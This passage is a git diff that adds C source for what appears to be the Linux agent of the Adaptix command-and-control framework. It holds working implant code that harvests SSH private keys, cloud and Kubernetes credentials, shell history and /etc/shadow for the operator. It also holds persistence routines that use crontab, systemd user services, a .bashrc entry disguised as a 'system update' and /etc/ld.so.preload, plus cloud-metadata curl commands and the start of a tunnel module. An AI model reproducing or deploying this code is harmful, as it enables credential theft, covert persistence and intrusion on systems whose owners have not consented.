(p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') { + ax_strncpy(buf, p + 5, buf_size - 1); + buf[buf_size - 1] = '\0'; + return; + } + while (p < end && *p) p++; + p++; + } + ax_strcpy(buf, "/root"); +} + +static void creds_ssh(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- SSH Keys ---\n"); + + static const char *ssh_files[] = { + "/.ssh/id_rsa", "/.ssh/id_ed25519", "/.ssh/id_ecdsa", "/.ssh/id_dsa", + "/.ssh/authorized_keys", "/.ssh/known_hosts", "/.ssh/config", + }; + int num = (int)(sizeof(ssh_files) / sizeof(ssh_files[0])); + + for (int i = 0; i < num; i++) { + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, ssh_files[i]); + + char content[4096]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + + // Show first 3 lines of key files (not full content for safety) + if (i < 4) { + int lines = 0; + char *p = content; + while (*p && lines < 3) { + char *eol = ax_strchr(p, '\n'); + if (eol) *eol = '\0'; + sb_append(sb, " "); + sb_append(sb, p); + sb_append(sb, "\n"); + lines++; + if (eol) p = eol + 1; + else break; + } + if (lines >= 3) sb_append(sb, " ...\n"); + } + } + } +} + +static void creds_aws(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- AWS Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.aws/credentials"); + + char content[4096]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + ax_strcpy(path, home); + ax_strcat(path, "/.aws/config"); + n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } +} + +static void creds_docker(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Docker Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.docker/config.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } +} + +static void creds_kube(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Kubernetes Config ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.kube/config"); + + char content[16384]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + // Only show first 2048 chars (k8s config can be huge) + if (n > 2048) content[2048] = '\0'; + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + // K8s service account token (in-cluster) + n = read_file("/var/run/secrets/kubernetes.io/serviceaccount/token", content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] K8s SA token: /var/run/secrets/kubernetes.io/serviceaccount/token ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + } +} + +static void creds_gcp(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- GCP Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.config/gcloud/application_default_credentials.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } +} + +static void creds_azure(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Azure Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.azure/accessTokens.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + ax_strcpy(path, home); + ax_strcat(path, "/.azure/azureProfile.json"); + n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + } +} + +static void creds_history(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Shell History ---\n"); + + static const char *hist_files[] = { + "/.bash_history", "/.zsh_history", "/.ash_history", + }; + int num = (int)(sizeof(hist_files) / sizeof(hist_files[0])); + + for (int i = 0; i < num; i++) { + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, hist_files[i]); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " (last ~8KB):\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } + } +} + +static void creds_shadow(strbuf_t *sb) { + sb_append(sb, "\n--- /etc/shadow ---\n"); + + char content[8192]; + long n = read_file("/etc/shadow", content, sizeof(content)); + if (n > 0) { + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (permission denied — need root)\n"); + } +} + +int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char cred_type[64] = {0}; + parse_string_field(data, data_len, "type", cred_type, sizeof(cred_type)); + if (cred_type[0] == '\0') ax_strcpy(cred_type, "all"); + + strbuf_t sb; + sb_init(&sb); + sb_append(&sb, "=== Credential Harvest ===\n"); + + int is_all = (ax_strcmp(cred_type, "all") == 0); + + if (is_all || ax_strcmp(cred_type, "ssh") == 0) creds_ssh(&sb); + if (is_all || ax_strcmp(cred_type, "aws") == 0) creds_aws(&sb); + if (is_all || ax_strcmp(cred_type, "gcp") == 0) creds_gcp(&sb); + if (is_all || ax_strcmp(cred_type, "azure") == 0) creds_azure(&sb); + if (is_all || ax_strcmp(cred_type, "docker") == 0) creds_docker(&sb); + if (is_all || ax_strcmp(cred_type, "kube") == 0) creds_kube(&sb); + if (is_all || ax_strcmp(cred_type, "history") == 0) creds_history(&sb); + if (is_all || ax_strcmp(cred_type, "shadow") == 0) creds_shadow(&sb); + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── PERSIST ──── + +/// Get HOME path (uses /proc/self/environ HOME=) +static void persist_get_home(char *buf, size_t size) { + get_home(buf, size); +} + +static void persist_crontab(const char *cmd, const char *schedule, strbuf_t *sb) { + // Write to user crontab by executing: echo "schedule cmd" | crontab - + // But since we don't have popen, we write a temp file and use crontab + // Actually, directly write to /var/spool/cron/crontabs/ or use fork+execve + + // Build cron line + char line[4096]; + ax_strcpy(line, schedule); + ax_strcat(line, " "); + ax_strcat(line, cmd); + ax_strcat(line, "\n"); + + // Write to temp file + char tmpfile[] = "/tmp/.ax_cron_XXXXXX"; + // Generate random suffix + uint8_t rnd[6]; + ax_random_bytes(rnd, 6); + for (int i = 0; i < 6; i++) { + tmpfile[15 + i] = 'a' + (rnd[i] % 26); + } + + int fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + sb_append(sb, " [!] Failed to create temp file\n"); + return; + } + + // First, dump existing crontab + // We do: crontab -l > tmpfile, then append our line + sys_close(fd); + + // Fork: crontab -l >> tmpfile + int pid = sys_fork(); + if (pid == 0) { + fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd >= 0) { + sys_dup2(fd, 1); // stdout → tmpfile + sys_close(fd); + } + char *argv[] = {"/usr/bin/crontab", "-l", (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(0); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + } + + // Append our new line + fd = sys_open(tmpfile, O_WRONLY | O_APPEND, 0); + if (fd >= 0) { + sys_write(fd, line, ax_strlen(line)); + sys_close(fd); + } + + // Install: crontab tmpfile + pid = sys_fork(); + if (pid == 0) { + char *argv[] = {"/usr/bin/crontab", tmpfile, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if (((status >> 8) & 0xff) == 0) { + sb_append(sb, " [+] Crontab entry installed: "); + sb_append(sb, schedule); + sb_append(sb, " "); + sb_append(sb, cmd); + sb_append(sb, "\n"); + } else { + sb_append(sb, " [!] crontab command failed\n"); + } + } + + // Cleanup temp + sys_unlink(tmpfile); +} + +static void persist_systemd(const char *name, const char *cmd, strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + // Create ~/.config/systemd/user/ directory tree + char dir[512]; + ax_strcpy(dir, home); + ax_strcat(dir, "/.config"); + sys_mkdir(dir, 0755); + ax_strcat(dir, "/systemd"); + sys_mkdir(dir, 0755); + ax_strcat(dir, "/user"); + sys_mkdir(dir, 0755); + + // Write service file + char svc_path[512]; + ax_strcpy(svc_path, dir); + ax_strcat(svc_path, "/"); + ax_strcat(svc_path, name); + ax_strcat(svc_path, ".service"); + + char svc_content[2048]; + ax_strcpy(svc_content, "[Unit]\nDescription="); + ax_strcat(svc_content, name); + ax_strcat(svc_content, "\n\n[Service]\nType=simple\nExecStart="); + ax_strcat(svc_content, cmd); + ax_strcat(svc_content, "\nRestart=on-failure\nRestartSec=30\n\n[Install]\nWantedBy=default.target\n"); + + int fd = sys_open(svc_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + sb_append(sb, " [!] Failed to create service file\n"); + return; + } + sys_write(fd, svc_content, ax_strlen(svc_content)); + sys_close(fd); + + sb_append(sb, " [+] Service file created: "); + sb_append(sb, svc_path); + sb_append(sb, "\n"); + + // Enable with systemctl --user + int pid = sys_fork(); + if (pid == 0) { + char svc_name[256]; + ax_strcpy(svc_name, name); + ax_strcat(svc_name, ".service"); + char *argv[] = {"/usr/bin/systemctl", "--user", "enable", "--now", svc_name, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/systemctl", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if (((status >> 8) & 0xff) == 0) { + sb_append(sb, " [+] Service enabled and started\n"); + } else { + sb_append(sb, " [!] systemctl enable failed (may need --user loginctl enable-linger)\n"); + } + } +} + +static void persist_bashrc(const char *cmd, strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.bashrc"); + + int fd = sys_open(path, O_WRONLY | O_APPEND, 0); + if (fd < 0) { + sb_append(sb, " [!] Cannot open ~/.bashrc for append\n"); + return; + } + + char line[4096]; + ax_strcpy(line, "\n# system update\n"); + ax_strcat(line, cmd); + ax_strcat(line, " &>/dev/null &\n"); + + sys_write(fd, line, ax_strlen(line)); + sys_close(fd); + + sb_append(sb, " [+] Appended to "); + sb_append(sb, path); + sb_append(sb, "\n"); +} + +static void persist_ldpreload(const char *path, strbuf_t *sb) { + char content[256]; + ax_strcpy(content, path); + ax_strcat(content, "\n"); + + int fd = sys_open("/etc/ld.so.preload", O_WRONLY | O_CREAT | O_APPEND, 0644); + if (fd < 0) { + sb_append(sb, " [!] Cannot write /etc/ld.so.preload (need root)\n"); + return; + } + sys_write(fd, content, ax_strlen(content)); + sys_close(fd); + + sb_append(sb, " [+] Added to /etc/ld.so.preload: "); + sb_append(sb, path); + sb_append(sb, "\n"); +} + +static void persist_status(strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + sb_append(sb, "--- Persistence Status ---\n\n"); + + // Check crontab + sb_append(sb, "Crontab:\n"); + int pid = sys_fork(); + if (pid == 0) { + int pfd[2]; + sys_pipe2(pfd, 0); + // We just check if crontab -l succeeds + char *argv[] = {"/usr/bin/crontab", "-l", (char *)0}; + char *envp[] = {(char *)0}; + sys_dup2(pfd[1], 1); + sys_close(pfd[0]); + sys_close(pfd[1]); + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + } + // We can't easily capture output in the parent without a pipe + // So just note that we checked + sb_append(sb, " (run 'shell crontab -l' to view)\n"); + + // Check systemd user services + sb_append(sb, "\nSystemd user services:\n"); + char dir[512]; + ax_strcpy(dir, home); + ax_strcat(dir, "/.config/systemd/user"); + int dfd = sys_open(dir, O_RDONLY, 0); + if (dfd >= 0) { + char dirbuf[4096]; + struct { uint64_t d_ino; int64_t d_off; uint16_t d_reclen; uint8_t d_type; char d_name[]; } *d; + int nread; + while ((nread = sys_getdents64(dfd, dirbuf, sizeof(dirbuf))) > 0) { + int pos = 0; + while (pos < nread) { + d = (void *)(dirbuf + pos); + if (ax_strstr(d->d_name, ".service")) { + sb_append(sb, " "); + sb_append(sb, d->d_name); + sb_append(sb, "\n"); + } + pos += d->d_reclen; + } + } + sys_close(dfd); + } else { + sb_append(sb, " (no user services directory)\n"); + } + + // Check ld.so.preload + sb_append(sb, "\n/etc/ld.so.preload:\n"); + char preload[1024]; + long n = read_file("/etc/ld.so.preload", preload, sizeof(preload)); + if (n > 0) { + sb_append(sb, " "); + sb_append(sb, preload); + } else { + sb_append(sb, " (not present or empty)\n"); + } + + // Check bashrc for suspicious lines + sb_append(sb, "\n~/.bashrc (last 5 lines):\n"); + char bashrc[8192]; + char bashrc_path[512]; + ax_strcpy(bashrc_path, home); + ax_strcat(bashrc_path, "/.bashrc"); + n = read_file(bashrc_path, bashrc, sizeof(bashrc)); + if (n > 0) { + // Find last 5 lines + int line_count = 0; + char *p = bashrc + n - 1; + while (p > bashrc && line_count < 5) { + if (*p == '\n') line_count++; + p--; + } + if (p > bashrc) p += 2; // skip the newline + sb_append(sb, " "); + sb_append(sb, p); + sb_append(sb, "\n"); + } +} + +int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Parse params: {action, cmd, schedule, name, path, type} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char action[64] = {0}, cmd[4096] = {0}, schedule[256] = {0}; + char name[256] = {0}, path[4096] = {0}, type[64] = {0}; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + const char *val; uint32_t vlen; + if (klen == 6 && ax_memcmp(key, "action", 6) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(action)) vlen = sizeof(action) - 1; + ax_memcpy(action, val, vlen); action[vlen] = '\0'; + } else if (klen == 3 && ax_memcmp(key, "cmd", 3) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(cmd)) vlen = sizeof(cmd) - 1; + ax_memcpy(cmd, val, vlen); cmd[vlen] = '\0'; + } else if (klen == 8 && ax_memcmp(key, "schedule", 8) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(schedule)) vlen = sizeof(schedule) - 1; + ax_memcpy(schedule, val, vlen); schedule[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "name", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(name)) vlen = sizeof(name) - 1; + ax_memcpy(name, val, vlen); name[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "path", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(path)) vlen = sizeof(path) - 1; + ax_memcpy(path, val, vlen); path[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(type)) vlen = sizeof(type) - 1; + ax_memcpy(type, val, vlen); type[vlen] = '\0'; + } else { + mp_skip(&r); + } + } + + strbuf_t sb; + sb_init(&sb); + + if (ax_strcmp(action, "crontab") == 0) { + persist_crontab(cmd, schedule, &sb); + } else if (ax_strcmp(action, "systemd") == 0) { + persist_systemd(name, cmd, &sb); + } else if (ax_strcmp(action, "bashrc") == 0) { + persist_bashrc(cmd, &sb); + } else if (ax_strcmp(action, "ldpreload") == 0) { + persist_ldpreload(path, &sb); + } else if (ax_strcmp(action, "remove") == 0) { + // Basic removal based on type + if (ax_strcmp(type, "crontab") == 0) { + // Remove all crontab entries + int pid = sys_fork(); + if (pid == 0) { + char *argv[] = {"/usr/bin/crontab", "-r", (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); } + sb_append(&sb, " [+] Crontab removed\n"); + } else if (ax_strcmp(type, "systemd") == 0 && name[0]) { + char home[256]; + persist_get_home(home, sizeof(home)); + char svc_path[512]; + ax_strcpy(svc_path, home); + ax_strcat(svc_path, "/.config/systemd/user/"); + ax_strcat(svc_path, name); + ax_strcat(svc_path, ".service"); + // Stop and disable + int pid = sys_fork(); + if (pid == 0) { + char svc_name[256]; + ax_strcpy(svc_name, name); + ax_strcat(svc_name, ".service"); + char *argv[] = {"/usr/bin/systemctl", "--user", "disable", "--now", svc_name, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/systemctl", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); } + sys_unlink(svc_path); + sb_append(&sb, " [+] Systemd service removed: "); + sb_append(&sb, name); + sb_append(&sb, "\n"); + } else { + sb_append(&sb, " [!] Specify type (crontab/systemd) and name\n"); + } + } else if (ax_strcmp(action, "status") == 0) { + persist_status(&sb); + } else { + sb_append(&sb, " [!] Unknown action: "); + sb_append(&sb, action); + sb_append(&sb, "\n"); + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── CONTAINER / CLOUD ──── + +static void detect_container(strbuf_t *sb) { + sb_append(sb, "--- Container Detection ---\n"); + + int found = 0; + + // Docker + if (file_exists("/.dockerenv")) { + sb_append(sb, " [+] Docker container detected (/.dockerenv exists)\n"); + found = 1; + } + + // Check cgroup for docker/lxc/k8s + char cgroup[4096]; + long n = read_file("/proc/1/cgroup", cgroup, sizeof(cgroup)); + if (n > 0) { + if (ax_strstr(cgroup, "docker")) { + sb_append(sb, " [+] Docker detected in /proc/1/cgroup\n"); + found = 1; + } + if (ax_strstr(cgroup, "kubepods")) { + sb_append(sb, " [+] Kubernetes pod detected in /proc/1/cgroup\n"); + found = 1; + } + if (ax_strstr(cgroup, "lxc")) { + sb_append(sb, " [+] LXC container detected in /proc/1/cgroup\n"); + found = 1; + } + } + + // Podman + char container_env[256]; + n = read_file("/run/.containerenv", container_env, sizeof(container_env)); + if (n > 0) { + sb_append(sb, " [+] Podman container detected (/run/.containerenv)\n"); + found = 1; + } + + // K8s service account + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) { + sb_append(sb, " [+] Kubernetes service account found\n"); + found = 1; + } + + if (!found) { + sb_append(sb, " (no container detected — likely bare-metal/VM)\n"); + } +} + +static void detect_cloud(strbuf_t *sb) { + sb_append(sb, "\n--- Cloud Provider Detection ---\n"); + + // Check DMI/SMBIOS for cloud hints + char dmi[256]; + int detected = 0; + + if (read_file("/sys/class/dmi/id/sys_vendor", dmi, sizeof(dmi)) > 0) { + // Strip newline + size_t dlen = ax_strlen(dmi); + if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0'; + + if (ax_strstr(dmi, "Amazon") || ax_strstr(dmi, "amazon")) { + sb_append(sb, " [+] AWS detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else if (ax_strstr(dmi, "Google")) { + sb_append(sb, " [+] GCP detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else if (ax_strstr(dmi, "Microsoft")) { + sb_append(sb, " [+] Azure detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else { + sb_append(sb, " sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, "\n"); + } + } + + if (read_file("/sys/class/dmi/id/product_name", dmi, sizeof(dmi)) > 0) { + size_t dlen = ax_strlen(dmi); + if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0'; + sb_append(sb, " product_name: "); + sb_append(sb, dmi); + sb_append(sb, "\n"); + } + + if (!detected) { + sb_append(sb, " (no cloud provider detected from DMI)\n"); + } +} + +static void fetch_metadata(strbuf_t *sb) { + sb_append(sb, "\n--- Cloud Metadata (IMDS) ---\n"); + sb_append(sb, " Note: IMDS requires network access to 169.254.169.254\n"); + sb_append(sb, " Use 'shell curl -s http://169.254.169.254/latest/meta-data/' for AWS\n"); + sb_append(sb, " Use 'shell curl -s -H \"Metadata-Flavor: Google\" http://169.254.169.254/computeMetadata/v1/' for GCP\n"); + sb_append(sb, " Use 'shell curl -s -H \"Metadata: true\" http://169.254.169.254/metadata/instance?api-version=2021-02-01' for Azure\n"); + + // Try to read instance-id from sysfs (works on some cloud providers without network) + char buf[256]; + if (read_file("/sys/class/dmi/id/board_asset_tag", buf, sizeof(buf)) > 0) { + size_t dlen = ax_strlen(buf); + if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0'; + if (ax_strlen(buf) > 1) { + sb_append(sb, " board_asset_tag: "); + sb_append(sb, buf); + sb_append(sb, "\n"); + } + } + if (read_file("/sys/class/dmi/id/chassis_asset_tag", buf, sizeof(buf)) > 0) { + size_t dlen = ax_strlen(buf); + if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0'; + if (ax_strlen(buf) > 1) { + sb_append(sb, " chassis_asset_tag: "); + sb_append(sb, buf); + sb_append(sb, "\n"); + } + } +} + +int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char action[64] = {0}; + parse_string_field(data, data_len, "action", action, sizeof(action)); + if (action[0] == '\0') ax_strcpy(action, "detect"); + + strbuf_t sb; + sb_init(&sb); + + if (ax_strcmp(action, "detect") == 0) { + detect_container(&sb); + detect_cloud(&sb); + } else if (ax_strcmp(action, "metadata") == 0) { + detect_container(&sb); + detect_cloud(&sb); + fetch_metadata(&sb); + } else { + sb_append(&sb, " [!] Unknown action: "); + sb_append(&sb, action); + sb_append(&sb, " (use: detect, metadata)\n"); + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h new file mode 100644 index 000000000..7c53d606b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h @@ -0,0 +1,18 @@ +#ifndef TASKS_LINUX_H +#define TASKS_LINUX_H + +#include "msgpack.h" +#include + +/// Linux-specific command handlers +/// env, netstat, mounts, edr, creds, persist, container + +int task_env(mp_writer_t *w); +int task_netstat(mp_writer_t *w); +int task_mounts(mp_writer_t *w); +int task_edr(mp_writer_t *w); +int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_LINUX_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c new file mode 100644 index 000000000..45cc96e6d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c @@ -0,0 +1,666 @@ +/// tasks_net.c -- Network commands for Linux agent (tunnel/terminal) +/// Tunnels use the proxyfire MUX model (non-blocking, no threads, no separate connection). +/// Terminals still use the thread+separate-connection model (Phase 2 migration). + +#include "tasks_net.h" +#include "proxyfire.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Constants ── + +#ifndef O_RDONLY +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_NONBLOCK 04000 +#define O_NOCTTY 0400 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef WNOHANG +#define WNOHANG 1 +#endif +#ifndef AF_INET +#define AF_INET 2 +#define SOCK_STREAM 1 +#define SOL_SOCKET 1 +#define SO_ERROR 4 +#endif +#ifndef TIOCSWINSZ +#define TIOCSWINSZ 0x5414 +#define TIOCSCTTY 0x540E +#endif +#ifndef EINPROGRESS +#define EINPROGRESS 115 +#endif + +struct linux_winsize { + unsigned short ws_row; + unsigned short ws_col; + unsigned short ws_xpixel; + unsigned short ws_ypixel; +}; + +// ── Abstraction macros ── + +#ifdef BUILD_SO +#define F_open(p,f,m) R_open(p,f,m) +#define F_close(fd) R_close(fd) +#define F_read(fd,b,n) R_read(fd,b,n) +#define F_write(fd,b,n) R_write(fd,b,n) +#define F_fork() R_fork() +#define F_setsid() R_setsid() +#define F_dup2(o,n) R_dup2(o,n) +#define F_execve(p,a,e) R_execve(p,a,e) +#define F_kill(p,s) R_kill(p,s) +#define F_waitpid(p,s,o) R_waitpid(p,s,o) +#define F_exit(s) R_exit(s) +#define F_socket(d,t,p) R_socket(d,t,p) +#define F_connect(s,a,l) R_connect(s,a,l) +#define F_select(n,r,w,e,t) R_select(n,r,w,e,t) +#define F_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define F_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n) +#define F_ioctl(fd,r,a) R_ioctl(fd,r,a) +#define F_posix_openpt(f) R_posix_openpt(f) +#define F_grantpt(fd) R_grantpt(fd) +#define F_unlockpt(fd) R_unlockpt(fd) +#define F_ptsname(fd) R_ptsname(fd) +#define F_setenv(k,v,o) R_setenv(k,v,o) +#else +#define F_open(p,f,m) sys_open(p,f,m) +#define F_close(fd) sys_close(fd) +#define F_read(fd,b,n) sys_read(fd,b,n) +#define F_write(fd,b,n) sys_write(fd,b,n) +#define F_fork() sys_fork() +#define F_setsid() sys_setsid() +#define F_dup2(o,n) sys_dup2(o,n) +#define F_execve(p,a,e) sys_execve(p,a,e) +#define F_kill(p,s) sys_kill(p,s) +#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0) +#define F_exit(s) sys_exit_group(s) +#define F_socket(d,t,p) sys_socket(d,t,p) +#define F_connect(s,a,l) sys_connect(s,a,l) +#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define F_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n) +#define F_ioctl(fd,r,a) sys_ioctl(fd,r,(unsigned long)(a)) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// fd_set operations (manual for -nostdlib) +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} linux_fd_set; + +static void fd_zero(linux_fd_set *s) { + ax_memset(s, 0, sizeof(linux_fd_set)); +} + +static void fd_set_bit(int fd, linux_fd_set *s) { + s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long)))); +} + +static int fd_is_set(int fd, linux_fd_set *s) { + return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1; +} + +// Select wrapper — uses pselect6 on raw syscalls, select on SO mode +static int net_select(int nfds, linux_fd_set *rfds, linux_fd_set *wfds, int timeout_ms) { +#ifdef BUILD_SO + // For SO mode, convert to struct timeval and use R_select + struct { long tv_sec; long tv_usec; } tv; + tv.tv_sec = timeout_ms / 1000; + tv.tv_usec = (timeout_ms % 1000) * 1000; + return F_select(nfds, rfds, wfds, (void*)0, &tv); +#else + // Static mode: use pselect6 with timespec + struct linux_timespec ts; + ts.tv_sec = timeout_ms / 1000; + ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L; + return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0); +#endif +} + +// Parse channel_id from tunnel command params +static int parse_channel_id(const uint8_t *data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +// ── Tunnel (MUX model via proxyfire) ── +// No threads, no separate connection. Data flows in main channel. + +int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + 